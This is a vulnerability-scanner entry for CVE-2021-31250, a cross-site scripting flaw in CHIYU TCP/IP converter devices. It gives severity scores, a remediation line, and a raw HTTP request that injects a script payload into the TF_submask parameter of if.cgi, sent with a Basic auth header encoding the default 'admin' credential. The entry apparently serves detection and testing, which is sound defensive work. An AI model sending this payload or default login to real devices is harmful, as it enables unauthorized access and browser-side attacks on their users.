| Title | CHIYU TCP/IP Converter - Cross-Site Scripting |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | To mitigate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being rendered in web pages. |
| CVSS Score | 5.4 |
| EPSS Score | 0.89372 |
| CVE ID | CVE-2021-31250 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve chiyu xss iot intrusive chiyu-tech vkev vuln |
CHIYU BF-430, BF-431 and BF-450M TCP/IP Converter devices contain a cross-site scripting vulnerability due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, and ppp.cgi.
GET /if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%2838FKNzW4UALqbLIabMTwUwyT0cj%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic OmFkbWlu
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31250.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-31250.pcap
N/AN/A